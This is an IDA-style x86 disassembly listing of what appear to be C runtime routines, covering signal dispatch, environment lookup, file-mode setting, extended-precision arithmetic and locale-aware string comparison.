		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DBC4C
		mov	eax, offset dword_4DBC4C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DBC48
		mov	eax, offset dword_4DBC48
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DBC50
		mov	eax, offset dword_4DBC50
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DBC44
		mov	eax, offset dword_4DBC44


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DBA20
		and	dword_4DBA20, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43D01C
		mov	dword_43D01C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43D010
		mov	ecx, dword_43D014
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43CFA0h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43D01C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DBA20, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43D01C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D018
		cmp	dword_43CF9C, edx
		push	esi
		mov	eax, offset dword_43CF98
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CF98h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CF98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DCFF0, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB970
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB978, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB970
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB948, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB948, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D498
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D5F8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DCDA4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DCFC4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB978
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CE8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DBC58, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427938
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 2610000h
		nop
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DBC58, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CB4FC
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 26105B8h
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DBC58, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DBC58
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 26105B8h
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DBA14
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28F0000h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	near ptr 2860000h
		nop
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2860000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2610000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB970
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB974
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB970, eax


